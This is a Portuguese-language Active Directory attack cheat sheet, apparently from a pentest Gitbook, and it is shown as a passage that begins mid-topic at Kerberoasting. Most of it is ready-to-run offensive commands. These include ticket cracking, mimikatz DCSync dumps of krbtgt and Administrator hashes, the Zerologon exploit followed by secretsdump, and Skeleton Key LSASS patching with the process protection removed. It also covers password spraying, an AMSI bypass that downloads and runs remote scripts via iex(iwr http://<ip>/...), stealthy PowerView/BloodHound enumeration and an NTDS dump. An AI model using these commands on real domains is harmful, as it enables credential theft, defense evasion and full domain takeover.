ATENÇÃO!! Nesse ponto provavelmente irá querer transferir o ticket, mas lembre-se de que ele está como binário, então tome cuidado para não destruí-lo ao transferir com ferramentas como Netcat. Recomendo utilizar o smbserver.py.
Após transferir o Ticket (em binário), basta realizar um ataque de Brute Force. Para isso, podemos utilizar o tgsrepcrack.py. Caso não tenha instalado, utilize o comando abaixo:
sudo apt install kerberoastApós isso basta executá-lo:
python3 /usr/share/kerberoast/tgsrepcrack.py <wordlist.txt> <ticket.kirbi>GPO
Listando GPO's do Domínio
Get-GPO -All
Get-GPResultSetOfPolicy -ReportType HTML -Path <C:\file.html>Sincronizando o Domain Controller
Quando o Domain Controller recebe uma solicitação de atualização, ele não verifica se a solicitação veio de um Domain Controller conhecido, mas apenas se o SID associado tem os privilégios apropriados. Se tentarmos emitir uma solicitação de atualização não autorizada para um Domain Controller de um usuário que é membro do grupo Domain Admins, ele será bem-sucedido.
O arquivo responsável por manter essas atualizações, é o NTDS.dit, que funciona como um espécie de banco de dados do Active Directory.
mimikatz.exe
lsadump::dcsync /user:AdministratorApós a execução, podemos ver os hashes, incluindo o NTLM do usuário Administrator. O dump contém vários hashes associados às últimas vinte e nove senhas de usuário usadas, bem como os hashes usados com criptografia AES.
Usando a técnica acima, podemos solicitar uma atualização de replicação com um controlador de domínio e obter os hashes de senha de cada conta no Active Directory sem nunca fazer login no controlador de domínio.
DCSync
Em um ataque de DCSync o processo é mais furtivo, pois o atacante finge ser o DC, requisita a replicação de usários e assim DC original fornece os hashes dos usuários. No comando abaixo utilizamos o krbtgt como usuário alvo (por questões óbvias, já que é um usuário com privilégio alto), porém pode-se utilizar qualquer outro usuários. Note que é preciso ser Administrador do Domínio para conseguir realizar esse tipo de ataque, mas não precisa executar o Mimikatz dentro do DC, mas sim de qualquer máquina.
Na verdade, o DCSync exige que o usuário tenha uma combinação de 3 direitos/permissão:
- Replicating Directory Changes (DS-Replication-Get-Changes) 
- Replicating Directory Changes All (DS-Replication-Get-Changes-All) 
- Replicating Directory Changes In Filtered Set (DS-Replication-Get-Changes-In-Filtered-Set) 
Para realizar o DCSync, utilize o seguinte comando no DC para obter o hash NTLM do krbtgt:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DOMAIN>\krbtgt"'Zero Logon
Certifique-se de ter o Impacket antes
git clone https://github.com/dirkjanm/CVE-2020-1472.git
cd CVE-2020-1472.git
git clone https://github.com/SecureAuthCorp/impacket.git
python3 cve-2020-1472-exploit.py <hostname_dc> <ip_dc>Após fazer isso, a senha da conta do DC é nula, então podemos utilizá-la para realizar qualquer operação. No exemplo abaixo, estamos pegando todos os hashes NTLM dos usuários, incluindo o krbtgt.
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc <domain>/<hostname_dc>\$@<ip_dc>Caso queira, é possível alterar a senha, bastando apenas codificá-la em hex. No exemplo abaixo o hex 41424344 é equivalente a ABCD:
python3 restorepassword.py <domain>/<hostname_dc>@<hostname_dc> -target-ip <ip_dc> -hexpass 41424344FSMO (Flexible Single Master Operation)
Há cinco funções de FSMO (Flexible Single Master Operation - Operação Mestre Única Flexível), sendo estes:
- Schema Master= Essa função gerencia a cópia de leitura/gravação do esquema do AD, que define todos os atributos que podem ser aplicados a um objeto no AD.
- Domain Naming Master= Gerencia nomes de domínio e garante que dois domínios com o mesmo nome não sejam criados na mesma floresta.
- Relative ID (RID) Master= O RID Master atribui blocos de SIDs aos DC's que podem ser usados para novos objetos. O RID Master ajuda a garantir que vários objetos não sejam atribuídos ao mesmo SID.
- PDC Emulator= O host com essa função seria o DC autoritativo no domínio e responderia a solicitações de autenticação, alterações de senha e gerenciaria objetos de política de grupo (GPOs). O emulador PDC também mantém o tempo dentro do domínio.
- Infrastructure Master= Essa função traduz GUIDs, SID's e DNs entre domínios. Essa função é usada em organizações com vários domínios em uma única floresta. O Infrastructure Master os ajuda a se comunicar. Se esta função não estiver funcionando corretamente, as Listas de Controle de Acesso (ACL's) mostrarão SID's em vez de nomes totalmente resolvidos.
Skeleton Key
Essa técnica consiste em realizar um patch do processo LSASS do DC, resultando no acesso em qualquer usuário utilizando uma senha única. Um ponto fraco desse tipo de atque, é que por ser uma modificação a nível de processo, é preciso realizar o ataque novamente, uma vez que o DC for reiniciado. Execute o comando Mimikatz abaixo no DC, de forma remota ou com o Invoke-Command
.\mimikatz.exe
misc::skeletonApós isso, abra o Powershell (em outra máquina) com qualquer privégio e execute o comando abaixo:
Enter-PSSession -ComputerName <hostname-dc> -Credential <DOMAIN>\AdministratorAssim que executar o comando acima, irá ser exibido um popup solicitando a senha do usuário Administrator. Ao executarmos o Mimikatz no DC, ele alterou a senha de todos os usuários (incluindo o Administrator) para mimikatz, então utilize esse senha para acessar os computadores da rede e também o próprio DC.
ATENÇÃO: Nesse exato momento, tanto a senha mimikatz quanto a senha original de cada usuário, funcionam para realizar login, então os usuários irão continuar acessando normalmente suas contas.
Em alguns casos, o DC pode conter proteções no processo LSASS, então devemos realizar alterações a nível de kernel, utilizando o driver do Mimikatz e o mesmo deverá estar em disco na máquina do DC. O ponto fraco disso, é que o Mimikatz deve estar em disco, pois somente carregando em memória, não irá funcionar.
.\mimikatz.exe
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
!-Brute Force
Realiza tentativa de uma uníca senha para vários usuários (spraying). o Paramêtro -Admin indica que é para testar as contas administrativas.
.\Spray-Passwords.ps1 -Pass "<password>" -AdminPegando Informações sobre o AD
Informçãoes do AD
Import-Module <C:\path\to\Microsoft.ActiveDirectory.Management.dll>
Import-Module <C:\path\to\ActiveDirectory\ActiveDirectory.psd1>
Get-ADDomainFiltrando por todos os usuários que não tem o campo "Description" em branco. Isso pode ser útil para pegar informaçõe úteis ou até mesmo sensíveis, já que alguns administradores insistem em deixar senhas no campo de descrição.
Get-ADUser -Filter 'Description -ne "$null"' -Properties Description | select name,DescriptionBuscando por políticas de grupos da GPO OBS.: Invoque o PowerView.ps1 antes de executar o comando abaixo
Get-NetGPOGroupPegando usuários que fazem parte de determinado grupo
Get-NetGroupMember '<group>'RSAT (Remote Server Administration Tools)
Verificando quais ferramentas estão disponíveis
Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, StateInstalando uma única ferramenta. Como exemplos, utilizamos o ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0
Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0  –OnlineInstalando todas as ferramentas de uma vez
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability –OnlineApós instalar, note que as ferramentas estarão disponíveis no Painel de Controle > Ferramentas Administrativas.
Também podemos acessar o ADSI (tool do RSAT) do Domain Controller a partir de um host que não está no Domínio (para isso é necesário possuir as devidas credenciais), facilitando bastante o processo de enumeração do AD. Caso prefira, é possível acessar somente o mmc e assim adicionar os snap-ins que preferir. Possivelmente, irá receber erro specified domain either does not exist or could not be contacted., então clique com o botão direito do mouse no snap-in e depois clique em Change Domain.
runas /netonly /user:<domain.local>\<user> "mmc %SystemRoot%\system32\adsiedit.msc"Enumerando Usuários
Verificando se o user tem permissão GenericAll para um determinado usuário
Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}Verificando quais usuários possuem permissão GenericAll em um determinado grupo. Observe o resultado de IdentityReference
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,<CN=name,DC=domain,DC=local>"}  Impacket
python3 GetADUsers.py -all -dc-ip <ip> <domain>/<user>:<password>
python3 GetADUsers.py -dc-ip <ip> '<domain.name>/'
python3 GetNPUsers.py -dc-ip <ip> -request '<domain.name>/'
python3 GetNPUsers.py '<domain.local>/' -usersfile <wordlist_users.txt> -format hashcat -outputfile <file_hash.txt> -dc-ip <ip>
python3 GetNPUsers.py <domain.name>/<user>crackmapexec
Listando todos os usuários do AD
crackmapexec smb <ip> -u '' -p '' --rid-bruteUnconstrained Delegation (Delegação Irrestrita)
Impacket - Verificando as delegação de um DC
python3 findDelegation.py <domain.local>/<user>:<pass> -dc-ip <ip>krbrelayx
Caso tenha alguma delegação, podemos usar o krbrelayx para abusar da delegação irrestrita, forçando o DC a se conectar ao host alvo e extrair p seu TGT. Usando os privilégios do DC para executar ataques DCSync, podemos extrair credenciais de qualquer usuários do domínio.
PowerView
Carregando PowerView
Forma convencional
# Carregando o PowerShell com bypass na política de execução     
powershell -ep bypass
# Maneiras diferentes de carregar o módulo do PowerView
. .\PowerView.ps1
Import-Module PowerView.ps1A segunda maneira que temos de carregar o PowerView.ps1, é da maneira abaixo. Note que antes de chamamarmos o PowerView, estamos chamando o arquivo amsibypass, que server para realizar bypass no Windows Defender (caso esteja ativo).
Caso não tenha saiba como realizar bypass em amsi, clique no link abaixo:
Bypass em Antivírusiex(iwr -UseBasicParsing http://<ip>/amsibypass) ; iex(iwr -UseBasicParsing http://<ip>/PowerView.ps1)     Convertendo SID
É comum durante o processo de enumeração, pegarmos SID's que não são convertidos para os devidos nomes. Para realizamos tal conversão. podemos utilizar os seugintes comandos:
# Convertendo nome em SID
ConvertTo-SID <nome_ou_grupo>
# Convertendo SID em nome
ConvertFrom-SID <SID>Floresta
Enumerando todos os Domínios da Floresta
Get-NetForestDomainEnumerando todos os Domínios da outra Floresta
Get-NetForestDomain -Forest <outra.floresta>Enumerando Floresta
Get-NetForestEnumerando outra Floresta
Get-NetForest -Forest <outra.floresta>Enumerando o Global Catalog da Floresta
Get-NetForestCatalogEnumerando as relações de confiança de Floresta
Get-NetForestTrustEnumerando as relações de confiança de outra Floresta
Get-NetForestTrust -Forest <outra.floresta>Domínio
Enumerando o Domínio local
Get-NetDomainEnumerando outro Domínio
Get-NetDomain -Domain <outro.domain.local>Identificando o SID do Domínio
Get-DomainSIDEnumerando o DC
Get-DomainControllerEnumerando outro DC
Get-DomainController -Domain <outro.domain.local>Enumerando políticas do Domínio. Note que aqui podemos ver o valor de LockoutBadCount. Caso LockoutBadCount seja 0, significa que não irá bloquear o usuário, caso erre a senha diversas vezes. Caso tenha um número entre 2 e 16, significa que este mesmo valor será a quantidade de tentativas incorretas que o usuário pode tentar até que sua conta seja bloqueada. Outro valor importante que podemos olhar, é o MaximumPasswordAge, que indica que a senha nunca expira, caso o seu valor seja -1;
Get-DomainPolicy
# Igual o comando anterior, porém detalhando a parte de `SystemAccess`
(Get-DomainPolicy).SystemAccessPolítica de senhas do Domínio
Get-DomainPolicyData | select -expand SystemAccessUsuários
Enumerando as propriedades e métodos de Get-NetUser
Get-NetUser | gmListando todos os usuários do AD
Get-DomainUser
Get-NetUser
# Comando semelhante ao anterior, porém exibindo somente o nome
Get-NetUser | select nameQuantidade total de usuários no AD
(Get-DomainUser).countEnumerando usuários de outro Domínio
Get-NetUser -Domain <outro.domain.local>Pegando informações de um determinado usuário
Get-NetUser -Identity <user>Retornando todos os usuários que são administradores
Get-NetUser | ? {$_.admincount -eq 1} | select nameBuscando usuários que não possuem o campo description em branco
Get-NetUser -Filter "(description=*)" | select name,descriptionBuscando por usuários que não possuem a string pass no campo description
Get-NetUser -Filter "(description=*pass*)" | select name,descriptionUsuários que já fizeram login em alguma máquina do domínio
Get-NetUser | ? {$_.logoncount -gt 0} | select nameRetornando os usuários que já fizeram login em alguma máquina do domínio e a data do último login
Get-NetUser | ?{$_.logoncount -gt 0} | select name,pwdlastsetEnumerando todas as máquinas do Domínio onde o usuário local possui acesso como Administrador local
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -VerboseVerificando sessões ativas no host atual
Get-NetSessionLocalizando máquinas de Domínio nas quais os usuários estão conectados
Find-DomainUserLocationExportando informações de todos os usuários do domínio para um CSV
Get-DomainUser * -Domain <domain.local> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol | Export-Csv .\<output.csv> -NoTypeInformationVerificando se o usuário atual tem direitos de administrador local em um host remoto
Test-AdminAccess -ComputerName <hostname>
# Ou
$sid = Convert-NameToSid <user>
$computers = Get-DomainComputer -Properties dnshostname | select -ExpandProperty dnshostname
foreach ($line in $computers) {Get-NetLocalGroupMember -ComputerName $line | ? {$_.SID -eq $sid}}Verificando os usuários que estão logados em determinado computador ou no próprio computador (para isso, remova os parâmetos do comando abaixo). Para realizar com êxito o comando abaixo, é preciso ter privilégios de administrador
Get-NetLoggedon -ComputerName <host>Pegando valores UAC de um determinado usuário
Get-DomainUser <user> | ConvertFrom-UACValue -showallUsuário que possui informações no campo description
Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}Enumerar usuário de outros Domínios com associação de grupo em qualquer grupo em nosso Domínio atual. Se comprometermos o domínio atual, podemos obter credenciais desse usuário do banco de dados NTDS e autenticar no Domínio que possui associção ao nosso Domínio atual
Find-ForeignGroupNote que na saída do comando acima, o campo MemberName pode conter somente o SID do usuário, então devemos executar o comando abaixo para pegamos o seu name
Convert-SidToName <sid>Verificar usuários com Service Principal Names (SPNs) definidos em outros Domínios nos quais podemos autenticar por meio de relações de confiança de entrada ou bidirecionais com autenticação em toda a Floresta, permitindo que todos os usuários se autentiquem com uma configuração de confiança ou autenticação seletiva. Caso encontre algum Domínio, significa que pode ser aproveitada com Kerberoast devido a confiança da Floresta.
Get-DomainUser -SPN -Domain <domain.local> | select samaccountname,memberof,serviceprincipalname | flBuscando o nome de todos os usuários, a data de última alteração de senha e o último logon
Get-DomainUser -Properties samaccountname,pwdlastset,lastlogon -Domain <domain.local> | select samaccountname, pwdlastset, lastlogon | Sort-Object -Property pwdlastsetO mesmo que o comando acima, porém definimos que pegar somente datas do campo pwdlastset que tem mais de 90 dias de diferença (comparado a data atual). Isso é útil para pegarmos contas com muito tempo sem alteração, o que pode significar que uma senha fraca.
Get-DomainUser -Properties samaccountname,pwdlastset,lastlogon -Domain <domain.local> | select samaccountname, pwdlastset, lastlogon | where { $_.pwdlastset -lt (Get-Date).addDays(-90) }Data de alteração de senha MSSQL Server
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'}Computadores
Enumerando computadores do AD
Get-NetComputer
Get-DomainComputerEnumerando computadores utilizando o ping e verificando se é um Servidor
Get-NetComputer -Ping -OperatingSystem "*Server*"Filtrando pelo nome do Computador
Get-DomainComputer -Properties name,objectguid -Name "<name>"Buscando por um computador onde um Domain Admin esteja logado e que o usuário atual possui acesso
Invoke-UserHunter -CheckAccessColetando nome do host, sistema operacional e atributos de Controle de Conta de Usuário (UAC).
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol | fl
# Salvando resultado em arquivo CSV
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol | Export-Csv .\inlanefreight_computers.csv -NoTypeInformationVerificando por diretórios compartilhados em computadores do Domínio
Invoke-ShareFinder -VerboseBucando por arquivos sensíveis em computadores do Domínio
Invoke-FileFinder -VerboseProcurando por computadores que estão configurado para permitir Constrained Delegation (Delegação Irrestrita)
Get-DomainComputer -TrustedToAuth | select -Property dnshostname,useraccountcontrol
Grupos
Obtém lista de grupos do domínio
Get-DomainGroup
Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName
Get-DomainGroup -Properties Name
Get-NetGroup
Get-NetGroup -GroupName *admin*Verificando todos os membros de um determinado grupo
Get-DomainGroupMember -Identity '<grupo>'
Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedNameEnumerando grupos de outro Domínio
Get-NetGroup -Domain <outro.domain.local>Verificando os grupos que um determinado usuário pertence
Get-NetGroup -UserName <user> | select cnVerificando os grupos que um determinado usuário (de outro domínio) pertence
Get-NetGroup -UserName <user> -Domain <outro.domain.local> | select cnTodos os grupos que possuem "admin" no nome
Get-NetGroup '*admin*' | select nameTodo os usuários que são Domain Admin. Note que essa pesquisa está sendo executada de forma recursiva
Get-NetGroupMember '*Domain Admin*' -Recurse | select MemberNameProcurando por Grupos de Segurança gerenciadores. Esses grupos tem o direito de adicionar membros a grupos de segurança e grupos de Distribuição do AD são definidos modificando o atributo managedBy
Find-ManagedSecurityGroups | select GroupNameExaminando o grupo de Security Operations
Get-DomainManagedSecurityGroupEnumerando os grupos locais. Por padrão, será efetuado a pesquisa utilizando o próprio host
Get-NetLocalGroup -ComputerName <hostname> | select GroupNameComputadores
Obtém uma lista de todos os Sistemas Operacionais do Domínio
# Dados Completos
Get-NetComputer -fulldata
# Demais informações sobre um host
Get-DomainComputer | SELECT dnshostname, useraccountcontrol
# Somente os hostnames
Get-NetComputer
# Somente o hostname e o sistema operacional
Get-NetComputer -fulldata | select  name,operatingsystemPegando membros de um determinado grupo local. Note que se não informar o grupo, será retornado somente os membros do grupo Administrators.
Get-NetLocalGroupMember -GroupName '<group>'
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | flBuscando por determinado computador
Get-NetShare -ComputerName <hostname>
Get-PathAcl "\\<hostname>\<directory>"Buscando compartilhamentos por todos os computadores do AD
Get-NetComputer | select name | % {$_.name ; Get-NetShare -ComputerName $_.name ; echo "---------------------------------------"}Verificando quantas máquinas os usuários do AD podem inserir no Domínio
powershell Get-DomainObject -Identity "<DC=domain,DC=local>" -Properties ms-DS-MachineAccountQuotaCriando um computador no Domínio com senha aleatória
execute-assembly <C:\path\to\StandIn\StandIn\StandIn\bin\Release\StandIn.exe> --computer <name> --makeACL/ACE
Mais detalhes a seguir em:
Explorando ACL/ACEOU
Get-DomainOUListando todos os computadores que fazem parte de uma OU.
Get-NetOU -OUName <OU> | %{Get-NetComputer -ADSPath $_}GPO
Listando todas as GPO's
Get-NetGPOPegando as GPO's que estão associadas a um determinado host
Get-NetGPO -ComputerName <host>
Get-DomainGPO -ComputerIdentity <host> | SELECT displaynameListando todas as GPO's que estão sendo aplicadas em uma determinada OU. Substitua o hash abaixo, pelo valor de gplink, que pode ser obtido ao executar o comando Get-NetOU
Get-NetGPO -Identity "{12F23D88-9D4D-4E26-90EE-AE482324566B}"Retorna todos os GPOs que modificam a associação a grupos locais por meio de Restricted Groups ou Group Policy Preferences. Você pode então localizar manualmente a quais OUs e, por extensão, a quais computadores essas GPOs se aplicam. Isso pode ser útil para mostrar que um determinado grupo está recebendo algum tipo de acesso local nas máquinas às quais as GPOs se aplicam.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupNameSPN (Service Principal Name)
Pegando SPN de serviços do AD
Get-NetUser -SPN
Get-NetComputer | Select -ExpandProperty serviceprincipalnameDICA: Note que, como podemos obter uma lista de todos os serviços (e seus respectivos hosts), não precisamos então de utilizar um nmap para descobrir portas abertas. Além de ter um resultado mais preciso com o SPN, também se torna extremamente difícil de ser detectado
Active Directory Rigths
GenericAll = Usuário pode modificar a associação ao grupo, adicionando ou remover usuários
Verificando permissões
$sid = ConvertTo-SID <user>
Get-DomainObjectAcl -Identity 'Security Operations' | ?{ $_.SecurityIdentifier -eq $sid}Relação de Confiança
Retorna todas as relações de confiança de Domínio para nosso Domínio atual.
Get-DomainTrustRetorna todas as relações de confiança de Floresta para nosso Floresta atual.
Get-ForestTrustListando os relacionamentos de confiança do Domínio atual
Get-NetDomainTrustListando os relacionamentos de confiança do outros Domínio
Get-NetDomainTrust -Domain <outro.dominio.local>Enumerando as relações de confiança de Floresta
Get-NetForestTrustEnumerando as relações de confiança de outra Floresta
Get-NetForestTrust -Forest <outra.floresta>Diretórios Compartilhados
Diretórios compartilhados no host atual
Invoke-ShareFinderScripts Automatizados
Acessa todas máquinas do Domínio (sem passar pelo DC), e verifica onde o usuários atual possui acesso de Administrador Local. Esse acesso é feito utilizando as portas do RPC e SMB, porém é possível utilizar outras portas.
Find-LocalAdminAccess -Verbose [-Thread <int>]Busca no DC a lista de computadores e depois verifica em cada máquina se o usuário atual possui acesso de Administrador Local. Esse acesso é feito utilizando as portas do RPC e SMB, porém é possível utilizar outras portas.
Invoke-CheckLocalAdminAccessTécnica para verificar se possui acesso de Administrador Local e máquinas, porém de maneira mais furtiva. Para utilizá-lo antes deve enviar o dnshostname das máquinas em um arquivo txt (get-netcomputer | select dnshostname)
Find-WMILocalAdminAccess.ps1Enumeração de todos os administradores locais de todas as máquinas do Domínio. É necessário ter privilégio de administador das máquinas que não são o DC
Invoke-EnumerateLocalAdmin -VerbosePesquisa no DC a lista de computadores e depois verifica o grupo de Administadores Locais
Get-NetLocalGroupRetorna onde todos os membros de um determinado grupo (por padrão será pesquisado pelo Domain Admin) possuem sessão ativa e em quais computadores
Invoke-UserHunter -Verbose
Invoke-UserHunter -GroupName <group>Caso queira deixar ainda mais stealth, podemos enumerar o c:\users e após pegar a lista de usuários (baseados no diretórios que foram criados), acessa o File Server em busca de sessões ativas
Invoke-UserHunter -Stealth -VerbosePara confirmar se o acesso é realmente válido, utilize o comando abaixo
Invoke-UserHunter -CheckAccessSharpView
Help sobre determinado comando. No exemplo abaixo, utilizamos o Get-DomainUser, porém pode ser qualquer outra função
.\SharpView.exe Get-DomainUser -HelpEnumeração de usuários que não exigem pré-autenticação Kerberos e podem ser submetidos a um ataque ASREPRoast.
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samaccountname,useraccountcontrol,memberofUsuários com delegação restrita de Kerberos
.\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samaccountname,useraccountcontrol,memberofEnumerando usuários do AD
.\SharpView.exe Get-DomainUser -domain <domain>Enumerando computadores do AD
.\SharpView.exe Get-DomainComputerColetando nome do host, sistema operacional e atributos de Controle de Conta de Usuário (UAC).
.\SharpView.exe Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrolProcurando por computadores que estão configurado para permitir Unconstrained Delegation (Delegação Irrestrita)
.\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrolProcurando por todos os grupos do AD com o atributo AdminCount definido como 1, ou seja, este é um grupo protegido.
.\SharpView.exe Get-DomainGroup -AdminCountMostrando membros de um determinado grupo do AD
.\SharpView.exe Get-DomainGroupMember -Identity '<grupo>'Enumerando os grupos locais. Por padrão, será efetuado a pesquisa utilizando o próprio host
.\SharpView.exe Get-NetLocalGroupMember -ComputerName WS01Coletando informações sobre usuários de domínio com tenham PreauthNotRequired
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequiredPegando SID de um determinado usuário
.\SharpView.exe ConvertTo-SID -Name <user>Convertendo nome de um usuário a partir de um SID
.\SharpView.exe Convert-ADName -ObjectName <sid>Usuários que permitem delegação irrestrita
.\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"Enumerando usuário com ServicePrincipalName (SPN), que possam ser sujeitos a ataques de Kerberoasting
.\SharpView.exe Get-DomainUser -SPN -Properties samaccountname,memberof,serviceprincipalnameInformações sobre o Domínio, como DC, Floresta, Domínios filhos, Level do Domíonio, etc
.\SharpView.exe Get-DomainEnumerando compartilhamentos abertos em um determinado host
.\SharpView.exe Get-NetShare -ComputerName <hostname>Enumerando as OU's
.\SharpView.exe Get-DomainOU | findstr /b "name"Pegando o nome de todas as GPO's
.\SharpView.exe Get-DomainGPO | findstr displaynameADModule
Importando o Módulo
Import-Module <C:\path\to\ADModule\ADModule-master\Microsoft.ActiveDirectory.Management.dll>
Import-Module <C:\path\to\ADModule\ADModule-master\ActiveDirectory\Import-ActiveDirectory.psd1>Objetos
Retorna todos os objetos do AD
Get-ADObjectFloresta
Enumerando todos os Domínios da Floresta
(Get-ADForest).domainsEnumerando Floresta
Get-ADForestEnumerando outra Floresta
Get-ADForest -Identity <outra.floresta>Enumerando o Global Catalog da Floresta
Get-ADForest | select -ExpandProperty GlobalCatalogsDomínio
Get-ADDomainEnumerando o Domínio local
Get-ADDomainEnumerando outro Domínio
Get-ADDomain -Identity <outro.domain.local>Identificando o SID do Domínio
(Get-ADDomain).DomainSIDEnumerando o DC
Get-ADDomainControllerEnumerando outro DC
Get-ADDomainController -DomainName <outro.domain.local>Usuários
Get-ADUser -Filter * -Properties *
# Comando semelhante ao anterior, porém exibindo somente o nome
Get-ADUser -Filter * -Properties * | select nameEnumerando usuários de outro Domínio
Get-ADUser -Filter * -Properties * -Server <outro.domain.local>Pegando informações de um determinado usuário
Get-ADUser -Identity <user>Buscando por usuários que possuem o campo description com algum conteúdo
Get-ADUser -Filter 'Description -like "*"' -Properties * | select nameBuscando por usuários que não possuem a string pass no campo description
Get-ADUser -Filter 'Description -like "*pass*"' -Properties *Todo os usuários que faz parte de Domain Admin. Note que essa pesquisa está sendo executada de forma recursiva
Get-ADGroupMember -Identity "Domain Admins" -Recursive | select nameGrupos
Enumerando os grupos do Domínio
Get-ADGroup -Filter * -Properties *Verificando os grupos que um determinado usuário pertence
Get-ADPrincipalGroupMembership -Identity <user>Todos os grupos que possuem "admin" no nome
Get-ADGroup -Filter "Name -like '*admin*'" | select nameComputadores
Get-ADComputer -Filter * -Properties *Enumerando computadores utilizando o ping e verificando se é um Servidor
Get-ADComputer -Filter 'OperatingSystem -like "*Server*"'OU
Listando as OU's do Domínio
Get-ADOrganizationalUnit -Filter * -Properties *ACL/ACE
Mais detalhes a seguir em:
Explorando ACL/ACERelação de Confiança
Listando os relacionamentos de confiança do Domínio atual
Get-ADTrust -Filter *Listando os relacionamentos de confiança do outros Domínio
Get-ADTrust -Identity <outro.dominio.local> -Filter *ADSearch
Enumerando usuários do Domínio
<C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "objectCategory=user"Pesquisando por todos os grupos de domínio que terminam com a palavra admins.
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))"Pesquisando por todos os grupos de domínio que terminam com a palavra admins.
# Retonando todos os atributos
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --full
# Retornando somente os atributos cn e member
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,memberConfigurando a saída para o formato JSON
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))" --jsonEnumeração do AD (Post Exploitation)
Na máquina alvo, execute os comandos abaixo. Note que o terminal ficará preso e será salvo um arquivo zip com alguns arquivos json dentro.
ps1
powershell -ep bypass
. .\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName <file.zip>exe
.\SharpHound.exe -c allDepois de realizar um dos métodos acima, envie o arquivo zip para o host atacante com o seu método de preferência e importe no Bloodhound.
DICA: Atualmente as credenciais padrões para acessar o Neo4j via web é root:root ou neo4j:neo4j  
# Terminal 1
neo4j start
neo4j console
# Terminal 2
bloobhoundFeito isso, vamos importar o arquivo zip que foi gerado com o SharpHound para o Bloodhound, clicando no botão Import Graph que fica no canto direito da janela. Em alguns casos esse import não funciona, então é necessário clicar e arrastar o arquivo zip para dentro do Bloodhound. Logo após poderá ver o desenho do AD, mapeando informações úteis.
NTDS Dump
crackmapexec
Realiza o dump do NTDS.dit. Ao pegar um NTLM, utilize-a para testar acessos para os outros usuários.
crackmapexec smb <ip> -u '' -p '' --ntdsSites
# PowerView
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
# Powerview Tricks
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
# SharpView
https://github.com/tevora-threat/SharpView
# ADModule
https://github.com/samratashok/ADModule
# ADSearch
https://github.com/tomcarver16/ADSearch
# Modulo de AD no Powershell
https://www.microsoft.com/en-us/download/details.aspx?id=45520
# Find-WMILocalAdminAccess.ps1
https://github.com/admin0987654321/admin1/blob/master/Find-WMILocalAdminAccess.ps1
# Spray-Passwords
https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1
# GPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
# SID conhecidos no AD
https://ldapwiki.com/wiki/Well-known%20Security%20Identifiers
# krbrelayx
https://github.com/dirkjanm/krbrelayx
# Gitbook com diversos ataques em AD/Kerberos
https://www.ired.team/
# Constrained Delegation (Delegação Restrita)
https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview#:~:text=Constrained%20delegation%20gives%20service%20administrators,to%20their%20back%2Dend%20services.
# Unconstrained Delegation (Delegação Irrestrita)
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
https://adsecurity.org/?p=1667
# Lista completas dos tipos de SPN
https://adsecurity.org/?page_id=183
# Tutorial LDAP da Digital Ocean
https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilitiesLast updated
Was this helpful?
